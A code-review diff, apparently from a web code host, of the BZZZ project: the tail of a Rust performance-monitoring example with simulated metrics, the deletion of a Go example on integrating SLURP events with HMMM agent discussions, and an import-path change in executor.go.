let mut interval = interval(self.config.collection_interval);
info!("📈 Starting metrics collection loop");
while self.is_running().await {
interval.tick().await;
match self.collect_performance_metrics().await {
Ok(metrics) => {
self.store_metrics(metrics).await;
}
Err(e) => {
error!("Failed to collect metrics: {}", e);
}
}
}
info!("📊 Metrics collection stopped");
}
async fn collect_performance_metrics(&self) -> Result<PerformanceMetrics, Box<dyn std::error::Error>> {
let start_time = Instant::now();
// Collect system metrics (simulated for this example)
let cpu_usage = self.get_cpu_usage().await?;
let memory_usage = self.get_memory_usage().await?;
// Test network latency to BZZZ node
let latency_start = Instant::now();
let _status = self.client.get_status().await?;
let network_latency = latency_start.elapsed().as_millis() as f64;
// Get BZZZ-specific metrics
let dht_metrics = self.dht.get_metrics().await?;
let election_status = self.elections.get_status().await?;
// Count recent operations (simplified)
let dht_operations = dht_metrics.stored_items + dht_metrics.retrieved_items;
let crypto_operations = dht_metrics.encryption_ops + dht_metrics.decryption_ops;
let metrics = PerformanceMetrics {
timestamp: SystemTime::now()
.duration_since(UNIX_EPOCH)?
.as_secs(),
cpu_usage,
memory_usage,
network_latency,
dht_operations,
crypto_operations,
decision_throughput: self.calculate_decision_throughput().await?,
error_count: 0, // Would track actual errors
};
debug!("Collected metrics in {:?}", start_time.elapsed());
Ok(metrics)
}
async fn get_cpu_usage(&self) -> Result<f64, Box<dyn std::error::Error>> {
// In a real implementation, this would use system APIs
// For demo, simulate CPU usage
Ok(rand::random::<f64>() * 30.0 + 20.0) // 20-50% usage
}
async fn get_memory_usage(&self) -> Result<f64, Box<dyn std::error::Error>> {
// In a real implementation, this would use system APIs
// For demo, simulate memory usage
Ok(rand::random::<f64>() * 25.0 + 45.0) // 45-70% usage
}
async fn calculate_decision_throughput(&self) -> Result<u32, Box<dyn std::error::Error>> {
// In a real implementation, this would track actual decision publishing rates
// For demo, return a simulated value
Ok((rand::random::<u32>() % 20) + 5) // 5-25 decisions per interval
}
async fn store_metrics(&self, metrics: PerformanceMetrics) {
let mut metrics_vec = self.metrics.lock().await;
// Add new metrics
metrics_vec.push(metrics.clone());
// Maintain retention limit
if metrics_vec.len() > self.config.metrics_retention {
metrics_vec.remove(0);
}
// Check for alerts
if metrics.cpu_usage > self.config.alert_threshold_cpu {
self.send_alert(format!("High CPU usage: {:.1}%", metrics.cpu_usage)).await;
}
if metrics.memory_usage > self.config.alert_threshold_memory {
self.send_alert(format!("High memory usage: {:.1}%", metrics.memory_usage)).await;
}
if metrics.network_latency > self.config.alert_threshold_latency {
self.send_alert(format!("High network latency: {:.0}ms", metrics.network_latency)).await;
}
}
async fn performance_analysis_loop(&self) {
let mut interval = interval(Duration::from_secs(30));
info!("🔍 Starting performance analysis loop");
while self.is_running().await {
interval.tick().await;
match self.analyze_performance_trends().await {
Ok(_) => debug!("Performance analysis completed"),
Err(e) => error!("Performance analysis failed: {}", e),
}
}
info!("🔍 Performance analysis stopped");
}
async fn analyze_performance_trends(&self) -> Result<(), Box<dyn std::error::Error>> {
let metrics = self.metrics.lock().await;
if metrics.len() < 10 {
return Ok(()); // Need more data points
}
let recent = &metrics[metrics.len()-10..];
// Calculate trends
let avg_cpu = recent.iter().map(|m| m.cpu_usage).sum::<f64>() / recent.len() as f64;
let avg_memory = recent.iter().map(|m| m.memory_usage).sum::<f64>() / recent.len() as f64;
let avg_latency = recent.iter().map(|m| m.network_latency).sum::<f64>() / recent.len() as f64;
// Check for trends
let cpu_trend = self.calculate_trend(recent.iter().map(|m| m.cpu_usage).collect());
let memory_trend = self.calculate_trend(recent.iter().map(|m| m.memory_usage).collect());
debug!("Performance trends: CPU {:.1}% ({}), Memory {:.1}% ({}), Latency {:.0}ms",
avg_cpu, cpu_trend, avg_memory, memory_trend, avg_latency);
// Alert on concerning trends
if cpu_trend == "increasing" && avg_cpu > 60.0 {
self.send_alert("CPU usage trending upward".to_string()).await;
}
if memory_trend == "increasing" && avg_memory > 70.0 {
self.send_alert("Memory usage trending upward".to_string()).await;
}
Ok(())
}
fn calculate_trend(&self, values: Vec<f64>) -> &'static str {
if values.len() < 5 {
return "insufficient_data";
}
let mid = values.len() / 2;
let first_half: f64 = values[..mid].iter().sum::<f64>() / mid as f64;
let second_half: f64 = values[mid..].iter().sum::<f64>() / (values.len() - mid) as f64;
let diff = second_half - first_half;
if diff > 5.0 {
"increasing"
} else if diff < -5.0 {
"decreasing"
} else {
"stable"
}
}
async fn metrics_publishing_loop(&self) {
let mut interval = interval(self.config.publish_interval);
info!("📤 Starting metrics publishing loop");
while self.is_running().await {
interval.tick().await;
match self.publish_performance_report().await {
Ok(_) => debug!("Performance report published"),
Err(e) => error!("Failed to publish performance report: {}", e),
}
}
info!("📤 Metrics publishing stopped");
}
async fn publish_performance_report(&self) -> Result<(), Box<dyn std::error::Error>> {
let metrics = self.metrics.lock().await;
if metrics.is_empty() {
return Ok(());
}
// Calculate summary statistics
let recent_metrics = if metrics.len() > 60 {
&metrics[metrics.len()-60..]
} else {
&metrics[..]
};
let avg_cpu = recent_metrics.iter().map(|m| m.cpu_usage).sum::<f64>() / recent_metrics.len() as f64;
let avg_memory = recent_metrics.iter().map(|m| m.memory_usage).sum::<f64>() / recent_metrics.len() as f64;
let avg_latency = recent_metrics.iter().map(|m| m.network_latency).sum::<f64>() / recent_metrics.len() as f64;
let total_dht_ops: u32 = recent_metrics.iter().map(|m| m.dht_operations).sum();
let total_crypto_ops: u32 = recent_metrics.iter().map(|m| m.crypto_operations).sum();
// Publish system status decision
self.decisions.publish_system_status(bzzz_sdk::decisions::SystemStatus {
status: "Performance monitoring active".to_string(),
metrics: {
let mut map = std::collections::HashMap::new();
map.insert("avg_cpu_usage".to_string(), avg_cpu.into());
map.insert("avg_memory_usage".to_string(), avg_memory.into());
map.insert("avg_network_latency_ms".to_string(), avg_latency.into());
map.insert("dht_operations_total".to_string(), total_dht_ops.into());
map.insert("crypto_operations_total".to_string(), total_crypto_ops.into());
map.insert("metrics_collected".to_string(), metrics.len().into());
map
},
health_checks: {
let mut checks = std::collections::HashMap::new();
checks.insert("metrics_collection".to_string(), true);
checks.insert("performance_analysis".to_string(), true);
checks.insert("alert_system".to_string(), true);
checks.insert("bzzz_connectivity".to_string(), avg_latency < 500.0);
checks
},
}).await?;
info!("📊 Published performance report: CPU {:.1}%, Memory {:.1}%, Latency {:.0}ms",
avg_cpu, avg_memory, avg_latency);
Ok(())
}
async fn health_monitoring_loop(&self) {
let mut interval = interval(Duration::from_secs(120)); // Check health every 2 minutes
info!("❤️ Starting health monitoring loop");
while self.is_running().await {
interval.tick().await;
match self.assess_system_health().await {
Ok(health) => {
if health.overall_status != "healthy" {
warn!("System health: {}", health.overall_status);
for alert in &health.alerts {
self.send_alert(alert.clone()).await;
}
} else {
debug!("System health: {} (score: {:.1})", health.overall_status, health.performance_score);
}
}
Err(e) => error!("Health assessment failed: {}", e),
}
}
info!("❤️ Health monitoring stopped");
}
async fn assess_system_health(&self) -> Result<SystemHealth, Box<dyn std::error::Error>> {
let metrics = self.metrics.lock().await;
let mut component_health = HashMap::new();
let mut alerts = Vec::new();
let mut health_score = 100.0;
if let Some(latest) = metrics.last() {
// CPU health
if latest.cpu_usage > 90.0 {
component_health.insert("cpu".to_string(), "critical".to_string());
alerts.push("CPU usage critical".to_string());
health_score -= 30.0;
} else if latest.cpu_usage > 75.0 {
component_health.insert("cpu".to_string(), "warning".to_string());
health_score -= 15.0;
} else {
component_health.insert("cpu".to_string(), "healthy".to_string());
}
// Memory health
if latest.memory_usage > 95.0 {
component_health.insert("memory".to_string(), "critical".to_string());
alerts.push("Memory usage critical".to_string());
health_score -= 25.0;
} else if latest.memory_usage > 80.0 {
component_health.insert("memory".to_string(), "warning".to_string());
health_score -= 10.0;
} else {
component_health.insert("memory".to_string(), "healthy".to_string());
}
// Network health
if latest.network_latency > 2000.0 {
component_health.insert("network".to_string(), "critical".to_string());
alerts.push("Network latency critical".to_string());
health_score -= 20.0;
} else if latest.network_latency > 1000.0 {
component_health.insert("network".to_string(), "warning".to_string());
health_score -= 10.0;
} else {
component_health.insert("network".to_string(), "healthy".to_string());
}
} else {
component_health.insert("metrics".to_string(), "no_data".to_string());
health_score -= 50.0;
}
let overall_status = if health_score >= 90.0 {
"healthy".to_string()
} else if health_score >= 70.0 {
"warning".to_string()
} else {
"critical".to_string()
};
Ok(SystemHealth {
overall_status,
component_health,
performance_score: health_score,
alerts,
})
}
async fn send_alert(&self, message: String) {
warn!("🚨 ALERT: {}", message);
// In a real implementation, you would:
// - Send to alert channels (Slack, email, etc.)
// - Store in alert database
// - Trigger automated responses
if let Err(e) = self.alert_sender.send(message).await {
error!("Failed to send alert: {}", e);
}
}
async fn is_running(&self) -> bool {
*self.is_running.lock().await
}
async fn stop(&self) -> Result<(), Box<dyn std::error::Error>> {
info!("🛑 Stopping performance monitor...");
{
let mut is_running = self.is_running.lock().await;
*is_running = false;
}
// Publish final report
self.publish_performance_report().await?;
// Publish shutdown status
self.decisions.publish_system_status(bzzz_sdk::decisions::SystemStatus {
status: "Performance monitor shutting down".to_string(),
metrics: std::collections::HashMap::new(),
health_checks: {
let mut checks = std::collections::HashMap::new();
checks.insert("monitoring_active".to_string(), false);
checks
},
}).await?;
info!("✅ Performance monitor stopped");
Ok(())
}
}
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let monitor = PerformanceMonitor::new("http://localhost:8080", "performance_monitor").await?;
// Handle shutdown signals
let monitor_clone = Arc::new(monitor);
let monitor_for_signal = monitor_clone.clone();
tokio::spawn(async move {
tokio::signal::ctrl_c().await.unwrap();
info!("🔄 Received shutdown signal...");
if let Err(e) = monitor_for_signal.stop().await {
error!("Error during shutdown: {}", e);
}
std::process::exit(0);
});
// Start monitoring
monitor_clone.start_monitoring().await?;
Ok(())
}
// Additional helper modules would be here in a real implementation
mod rand {
pub fn random<T>() -> T
where
T: From<u32>,
{
// Simplified random number generation for demo
use std::time::{SystemTime, UNIX_EPOCH};
let seed = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.subsec_nanos();
T::from(seed % 100)
}
}

342
examples/slurp_integration_example.go
View File

@@ -1,342 +0,0 @@
package main
import (
"context"
"fmt"
"log"
"time"
"chorus.services/bzzz/pkg/config"
"chorus.services/bzzz/pkg/coordination"
"chorus.services/bzzz/pkg/integration"
"chorus.services/bzzz/pubsub"
"github.com/libp2p/go-libp2p"
"github.com/libp2p/go-libp2p/core/host"
)
// This example demonstrates how to integrate SLURP event system with BZZZ HMMM discussions
func main() {
fmt.Println("🚀 SLURP Integration Example")
// Create context
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
// Example 1: Basic SLURP Configuration
basicSlurpIntegrationExample(ctx)
// Example 2: Advanced Configuration with Project Mappings
advancedSlurpConfigurationExample()
// Example 3: Manual HMMM Discussion Processing
manualDiscussionProcesssingExample(ctx)
// Example 4: Real-time Integration Setup
realtimeIntegrationExample(ctx)
fmt.Println("✅ All examples completed successfully")
}
// Example 1: Basic SLURP integration setup
func basicSlurpIntegrationExample(ctx context.Context) {
fmt.Println("\n📋 Example 1: Basic SLURP Integration Setup")
// Create basic SLURP configuration
slurpConfig := config.SlurpConfig{
Enabled: true,
BaseURL: "http://localhost:8080",
APIKey: "your-api-key-here",
Timeout: 30 * time.Second,
RetryCount: 3,
RetryDelay: 5 * time.Second,
EventGeneration: config.EventGenerationConfig{
MinConsensusStrength: 0.7,
MinParticipants: 2,
RequireUnanimity: false,
MaxDiscussionDuration: 30 * time.Minute,
MinDiscussionDuration: 1 * time.Minute,
EnabledEventTypes: []string{
"announcement", "warning", "blocker", "approval",
"priority_change", "access_update", "structural_change",
},
},
DefaultEventSettings: config.DefaultEventConfig{
DefaultSeverity: 5,
DefaultCreatedBy: "hmmm-consensus",
DefaultTags: []string{"hmmm-generated", "automated"},
},
}
fmt.Printf("✅ SLURP config created with %d enabled event types\n",
len(slurpConfig.EventGeneration.EnabledEventTypes))
// Note: In a real application, you would create the integrator here:
// integrator, err := integration.NewSlurpEventIntegrator(ctx, slurpConfig, pubsubInstance)
fmt.Println("📝 Note: Create integrator with actual PubSub instance in real usage")
}
// Example 2: Advanced configuration with project-specific mappings
func advancedSlurpConfigurationExample() {
fmt.Println("\n📋 Example 2: Advanced SLURP Configuration")
// Create advanced configuration with project mappings
slurpConfig := config.GetDefaultSlurpConfig()
slurpConfig.Enabled = true
slurpConfig.BaseURL = "https://slurp.example.com"
// Add project-specific mappings
slurpConfig.ProjectMappings = map[string]config.ProjectEventMapping{
"/projects/frontend": {
ProjectPath: "/projects/frontend",
CustomEventTypes: map[string]string{
"ui_change": "structural_change",
"performance": "warning",
"accessibility": "priority_change",
},
SeverityOverrides: map[string]int{
"blocker": 9, // Higher severity for frontend blockers
"warning": 6, // Higher severity for frontend warnings
},
AdditionalMetadata: map[string]interface{}{
"team": "frontend",
"impact_area": "user_experience",
},
EventFilters: []config.EventFilter{
{
Name: "critical_ui_filter",
Conditions: map[string]string{
"content_contains": "critical",
"event_type": "structural_change",
},
Action: "modify",
Modifications: map[string]string{
"severity": "10",
"tag": "critical-ui",
},
},
},
},
"/projects/backend": {
ProjectPath: "/projects/backend",
CustomEventTypes: map[string]string{
"api_change": "structural_change",
"security": "blocker",
"performance": "warning",
},
SeverityOverrides: map[string]int{
"security": 10, // Maximum severity for security issues
},
AdditionalMetadata: map[string]interface{}{
"team": "backend",
"impact_area": "system_stability",
},
},
}
// Configure severity rules
slurpConfig.EventGeneration.SeverityRules.UrgencyKeywords = append(
slurpConfig.EventGeneration.SeverityRules.UrgencyKeywords,
"security", "vulnerability", "exploit", "breach",
)
slurpConfig.EventGeneration.SeverityRules.UrgencyBoost = 3
fmt.Printf("✅ Advanced config created with %d project mappings\n",
len(slurpConfig.ProjectMappings))
fmt.Printf("✅ Urgency keywords: %v\n",
slurpConfig.EventGeneration.SeverityRules.UrgencyKeywords)
}
// Example 3: Manual HMMM discussion processing
func manualDiscussionProcesssingExample(ctx context.Context) {
fmt.Println("\n📋 Example 3: Manual HMMM Discussion Processing")
// Create a sample HMMM discussion context
discussion := integration.HmmmDiscussionContext{
DiscussionID: "discussion-123",
SessionID: "session-456",
Participants: []string{"agent-frontend-01", "agent-backend-02", "agent-qa-03"},
StartTime: time.Now().Add(-10 * time.Minute),
EndTime: time.Now(),
ConsensusReached: true,
ConsensusStrength: 0.85,
OutcomeType: "Frontend team approves migration to React 18",
ProjectPath: "/projects/frontend",
Messages: []integration.HmmmMessage{
{
From: "agent-frontend-01",
Content: "I propose we migrate to React 18 for better performance",
Type: "proposal",
Timestamp: time.Now().Add(-8 * time.Minute),
},
{
From: "agent-backend-02",
Content: "That sounds good, it should improve our bundle size",
Type: "agreement",
Timestamp: time.Now().Add(-6 * time.Minute),
},
{
From: "agent-qa-03",
Content: "Approved from QA perspective, tests are compatible",
Type: "approval",
Timestamp: time.Now().Add(-3 * time.Minute),
},
},
RelatedTasks: []string{"TASK-123", "TASK-456"},
Metadata: map[string]interface{}{
"migration_type": "framework_upgrade",
"risk_level": "low",
"impact": "high",
},
}
fmt.Printf("✅ Sample discussion created:\n")
fmt.Printf(" - ID: %s\n", discussion.DiscussionID)
fmt.Printf(" - Participants: %d\n", len(discussion.Participants))
fmt.Printf(" - Messages: %d\n", len(discussion.Messages))
fmt.Printf(" - Consensus: %.1f%%\n", discussion.ConsensusStrength*100)
fmt.Printf(" - Outcome: %s\n", discussion.OutcomeType)
// Note: In real usage, you would process this with:
// err := integrator.ProcessHmmmDiscussion(ctx, discussion)
fmt.Println("📝 Note: Process with actual SlurpEventIntegrator in real usage")
}
// Example 4: Real-time integration setup with meta coordinator
func realtimeIntegrationExample(ctx context.Context) {
fmt.Println("\n📋 Example 4: Real-time Integration Setup")
// This example shows how to set up the complete integration
// In a real application, you would use actual network setup
fmt.Println("🔧 Setting up libp2p host...")
// Create a basic libp2p host (simplified for example)
host, err := libp2p.New(
libp2p.ListenAddrStrings("/ip4/127.0.0.1/tcp/0"),
)
if err != nil {
log.Printf("❌ Failed to create host: %v", err)
return
}
defer host.Close()
fmt.Printf("✅ Host created with ID: %s\n", host.ID().ShortString())
// Create PubSub system
fmt.Println("🔧 Setting up PubSub system...")
ps, err := pubsub.NewPubSub(ctx, host, "bzzz/coordination/v1", "hmmm/meta-discussion/v1")
if err != nil {
log.Printf("❌ Failed to create pubsub: %v", err)
return
}
defer ps.Close()
fmt.Println("✅ PubSub system initialized")
// Create SLURP configuration
slurpConfig := config.GetDefaultSlurpConfig()
slurpConfig.Enabled = true
slurpConfig.BaseURL = "http://localhost:8080"
// Note: In real usage, you would create the integrator:
// integrator, err := integration.NewSlurpEventIntegrator(ctx, slurpConfig, ps)
// if err != nil {
// log.Printf("❌ Failed to create SLURP integrator: %v", err)
// return
// }
// defer integrator.Close()
// Create meta coordinator
fmt.Println("🔧 Setting up Meta Coordinator...")
metaCoordinator := coordination.NewMetaCoordinator(ctx, ps)
// Note: In real usage, you would attach the integrator:
// metaCoordinator.SetSlurpIntegrator(integrator)
fmt.Println("✅ Meta Coordinator initialized with SLURP integration")
// Demonstrate event publishing
fmt.Println("🔧 Publishing sample SLURP integration events...")
// Publish a sample SLURP event generation notification
err = ps.PublishSlurpEventGenerated(map[string]interface{}{
"discussion_id": "sample-discussion-123",
"event_type": "approval",
"participants": []string{"agent-01", "agent-02"},
"consensus": 0.9,
"timestamp": time.Now(),
})
if err != nil {
log.Printf("❌ Failed to publish SLURP event: %v", err)
return
}
// Publish a SLURP context update
err = ps.PublishSlurpContextUpdate(map[string]interface{}{
"context_type": "project_update",
"project_path": "/projects/example",
"update_type": "event_generated",
"timestamp": time.Now(),
})
if err != nil {
log.Printf("❌ Failed to publish context update: %v", err)
return
}
fmt.Println("✅ Sample events published successfully")
// Let the system run for a short time to process messages
fmt.Println("⏳ Running system for 5 seconds...")
time.Sleep(5 * time.Second)
fmt.Println("✅ Real-time integration example completed")
}
// Utility function to demonstrate SLURP event mapping
func demonstrateEventMapping() {
fmt.Println("\n📋 Event Mapping Demonstration")
mapping := config.GetHmmmToSlurpMapping()
fmt.Println("🗺️ HMMM to SLURP Event Type Mappings:")
fmt.Printf(" - Consensus Approval → %s\n", mapping.ConsensusApproval)
fmt.Printf(" - Risk Identified → %s\n", mapping.RiskIdentified)
fmt.Printf(" - Critical Blocker → %s\n", mapping.CriticalBlocker)
fmt.Printf(" - Priority Change → %s\n", mapping.PriorityChange)
fmt.Printf(" - Access Request → %s\n", mapping.AccessRequest)
fmt.Printf(" - Architecture Decision → %s\n", mapping.ArchitectureDecision)
fmt.Printf(" - Information Share → %s\n", mapping.InformationShare)
fmt.Println("\n🔤 Keyword Mappings:")
fmt.Printf(" - Approval Keywords: %v\n", mapping.ApprovalKeywords)
fmt.Printf(" - Warning Keywords: %v\n", mapping.WarningKeywords)
fmt.Printf(" - Blocker Keywords: %v\n", mapping.BlockerKeywords)
}
// Utility function to show configuration validation
func demonstrateConfigValidation() {
fmt.Println("\n📋 Configuration Validation")
// Valid configuration
validConfig := config.GetDefaultSlurpConfig()
validConfig.Enabled = true
validConfig.BaseURL = "https://slurp.example.com"
if err := config.ValidateSlurpConfig(validConfig); err != nil {
fmt.Printf("❌ Valid config failed validation: %v\n", err)
} else {
fmt.Println("✅ Valid configuration passed validation")
}
// Invalid configuration
invalidConfig := config.GetDefaultSlurpConfig()
invalidConfig.Enabled = true
invalidConfig.BaseURL = "" // Missing required field
if err := config.ValidateSlurpConfig(invalidConfig); err != nil {
fmt.Printf("✅ Invalid config correctly failed validation: %v\n", err)
} else {
fmt.Println("❌ Invalid config incorrectly passed validation")
}
}

10
executor/executor.go
View File

@@ -5,11 +5,11 @@ import (
"fmt"
"strings"
"chorus.services/bzzz/logging"
"chorus.services/bzzz/pkg/config"
"chorus.services/bzzz/pkg/types"
"chorus.services/bzzz/reasoning"
"chorus.services/bzzz/sandbox"
"github.com/anthonyrawlins/bzzz/logging"
"github.com/anthonyrawlins/bzzz/pkg/config"
"github.com/anthonyrawlins/bzzz/pkg/types"
"github.com/anthonyrawlins/bzzz/reasoning"
"github.com/anthonyrawlins/bzzz/sandbox"
)
const maxIterations = 10 // Prevents infinite loops

Some files were not shown because too many files have changed in this diff Show More